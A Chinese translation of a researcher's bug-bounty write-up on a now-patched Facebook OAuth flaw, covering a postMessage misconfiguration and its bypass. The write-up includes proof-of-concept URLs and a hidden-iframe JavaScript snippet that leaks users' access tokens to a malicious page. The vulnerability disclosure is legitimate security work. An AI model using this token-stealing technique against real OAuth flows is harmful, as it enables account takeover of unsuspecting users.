查看原文
其他

我找到一个价值5.5万美元的 Facebook OAuth账户劫持漏洞

代码卫士 2022-04-06

聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

研究员 Amol Baikar Facebook OAuth 中发现了一个漏洞并获得5.5万美元的奖励金。奇安信代码卫士团队将漏洞的详细发现过程编译如下:
我决定分析一下为啥总感觉使用“通过 Facebook 登录 (Login with Facebook)”功能不安全。Facebook 使用了多个重定向 URL,而且拥有很多优秀的安全研究员,因此从 Facebook OAuth 中发现漏洞按说应该并非易事。然而,谷歌搜索和 StackOverflow 证明我发现的这个漏洞已存在多年时间。


背景


“通过 Facebook 登录”功能按照 OAuth 2.0 AuthorizationProtocol 交换 facebook.com 和第三方网站之间的令牌。该缺陷可导致攻击者劫持 OAuth 流并窃取可用于接管用户账户的访问令牌。同时恶意网站能够窃取最常见应用的 access_token,并获得对多种服务、第三方网站如 InstagramOculusNetflixTinderSpotify 等的访问权限。


PoC


Facebook SDK forJavaScript 使用 “/connect/ping” 端点发布 user_access 令牌并将 URL 设为 “XD_Arbiter”,它在所有应用程序中默认被白名单化。在后台,初始化 SDK 为跨域通信创建一个代理嵌入式框架。代理框架通过postMessage() API发送回该令牌、代码或 not_authorized、位置状态。如下是正常的登录流 URL:
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com

该端点并不受此前已知漏洞如参数污染、源验证、重定向 (#!) 等的影响。我尝试了很多种不同的绕过方法,但均遭禁止。那我还能做什么?!
我注意到只能将 “xd_arbiter.php?v=42” 修改为“xd_arbiter/?v=42”,除了路径遍历外还可以添加更多的目录/参数。啊!刚开始从 Hash 片段中窃取令牌很难,但现在我们只需要一个代理框架为我们办事(劫持)如 “location.hash”和任何源 “*”postMessage() API(跨源信息)。
很幸运,我快速找到了 “page_proxy”
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
“page_proxy” 包含的正是我们想要的代码:
var frameName = window.location.href.split("#")[1];window.parent.postMessage(frameName,"*");
该资源具有一个 “EventListener”属性,如果条件检查未能满足其要求,那么代码将带有 “frameName”postMessage()退回到任何源“*”,这是错误的配置或糟糕的代码实践。

利用代理


与我而言利用“page_proxy”并不难,我只是将xd_arbiter后面附加了page_proxy 资源:
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.jshttps://staticxx.facebook.com/connect/xd_arbiter.php?version=42https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42

在这个漏洞流中,有几点较为重要:
1、缺失 “X-Frame-Options”标头(完全可构造的流)
2、另外,”windows.parent” 本身将用户交互保存为零。无需理会 window.open 或任何按钮的 onClick 事件。


重写 Custom_SDK.js

var app_id = '124024574287414',app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');i.setAttribute('id', 'i');i.setAttribute('style', 'display:none;');i.setAttribute('src', exploit_url);document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) { alert(FB.data.name);}, !1);

现在跨越通讯已遭暴露而access_token 可被泄露给任何源,而受害者一无所知,从而可能导致用户账户被攻陷。

Facebook 账户接管


如果第一方 GraphQL 令牌遭泄露,则可以查询变化后的调用来为账户恢复增加并确认新电话号码。由于它们对于 GraphQL 查询是白名单化的,无需任何经过任何权限检查。他们具有完整的读/写权限如信息、照片、视频,即使隐私控制被设为“仅我可见”。

修复方案


报告提交数小时内,Facebook 快速证实了该问题存在并推出修复方案。或许你已经了解了 Facebook 是如何响应这些严重问题的:
1、弃用“/connect/ping端点”。它已被永久撤销已为所有应用程序生成access_token。
2、在XD_Arbiter中增加_d(“JSSDKConfig”)行来攻破 page_proxy中的 JS 执行。


验证不正确的缓解和绕过


虽然我们都意识到 OAuth 的核心端点“/dialog/oauth” 仍然以一个令牌重定向到page_proxy,我通知 Facebook 也修复这些端点,但Facebook 公司表示xd_arbiter 已被白名单化而Facebook 团队认为page_proxy 资源中的代码变化也缓解了该问题,因此令牌本身无法被泄露。
两三天后,我重新访问了 page_proxy 代码并发现“_d(“JSSDKConfig)” 代码行被转移到底部,而postMessage()调用能够再次执行。我并没有全面分析他们所做的修改,不过我猜测附加缓解代码甚至是 arbiter 本身可使其它资源崩溃。这就是代码行为何转移到底部的原因,我立即重构了设置。
www.facebook.com并未遵循重定向状态设置为xd_arbiter,而是为客户端源创建了closed_window 和 postMessage()(使攻击失败)。该规则同样适用于chrome 的 “m”、”mobile”、”touch” 等,而不适用于火狐浏览器。假设你已经了解 Facebook 在 User-Agent 和子域名之间发挥的作用。
输入“mbasic.facebook.com” 域名响应 HTTP 302重定向标头,适用于所有的浏览器。
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F

修复方案


1、  不再允许对xd_arbiter 的修改/篡改(仅接受绝对的文件路径 “xd_arbiter.php”)。
2、  针对xd_arbiter 的所有重定向的 HTTP 状态遭拦截(mbasic.facebook.com)。
3、  从服务器中删除了“7SWBAvHenEn.js” 资源文件。
4、  在另外的 JS 资源中添加了正则表达式验证。


影响


由于 post 信息配置不正确,访问受攻击者控制网站的用户可导致使用 Facebook Oauth 流的易受攻击应用的第一方访问令牌被盗。


时间线


  • 2019年12月16日:发布首份报告

  • 2019年12月16日:报告得到证实

  • 2019年12月16日:Facebook 推出修复方案

  • 2019年12月23日:Facebook 确认修复方案

  • 2020年1月3日:发送绕过(完整的设置)

  • 2020年1月10日:Facebook 颁发奖励金

  • 2020年1月10日:为绕过推出修复方案

  • 2020年1月17日:Facebook 确认修复方案

  • 2020年2月21日:Facebook 共颁发5.5万美元的奖励金(客户端账户接管类最高奖励金)


 



推荐阅读

Facebook 紧急修复暴露页面管理员账户的 bug

我发现了一个价值8500美元的 HackerOne 平台漏洞

一个价值1.5万美元的 PayPal 漏洞



原文链接
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/




题图:Pixabay License

文内图:ZDNet


本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。


 

    点个“在看”,一起玩耍


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存